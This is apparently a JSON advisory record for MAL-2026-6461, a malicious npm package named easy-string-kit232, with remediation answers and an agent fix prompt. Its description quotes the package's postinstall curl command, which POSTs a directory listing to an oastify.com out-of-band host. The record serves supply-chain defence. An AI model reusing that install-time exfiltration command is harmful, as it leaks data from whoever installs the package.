{"answers":{"affected":"1 open source package ship an affected version, including easy-string-kit232.","exploited":"There is no known exploitation of MAL-2026-6461 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-6461 is a malicious package in easy-string-kit232, published on 25 Jun 2026."},"fix_prompt":"MAL-2026-6461 is a malicious package: easy-string-kit232 (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6461/ (Markdown: https://insights.sbomify.com/MAL-2026-6461/index.md)","id":"MAL-2026-6461","markdown":"https://insights.sbomify.com/MAL-2026-6461/index.md","name":"MAL-2026-6461","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"package.json declares a postinstall lifecycle script that auto-executes on `npm install` and runs `curl -X POST -d \"$(ls -la /data/logs/)\" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data`. This shells out at install time, captures a directory listing of `/data/logs/` on the installer's host, and POSTs the output over plaintext HTTP to a Burp Suite Collaborator (oastify.com) out-of-band subdomain controlled by whoever generated that Collaborator instance. The package advertises itself as a string-utility kit, which has no need to enumerate host filesystem contents or contact a remote OAST endpoint. Author, repository, bugs, and homepage metadata are all empty, consistent with a throwaway publish purpose-built for the exfil payload rather than a maintained utility.\n\nThe OpenSSF Package Analysis project identified 'easy-string-kit232' @ 1.0.8 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in easy-string-kit232 (npm)","id":"MAL-2026-6461","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"easy-string-kit232","purl":"pkg:npm/easy-string-kit232","source":"MAL-2026-6461"}],"products":null,"published":"2026-06-25","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6461/"}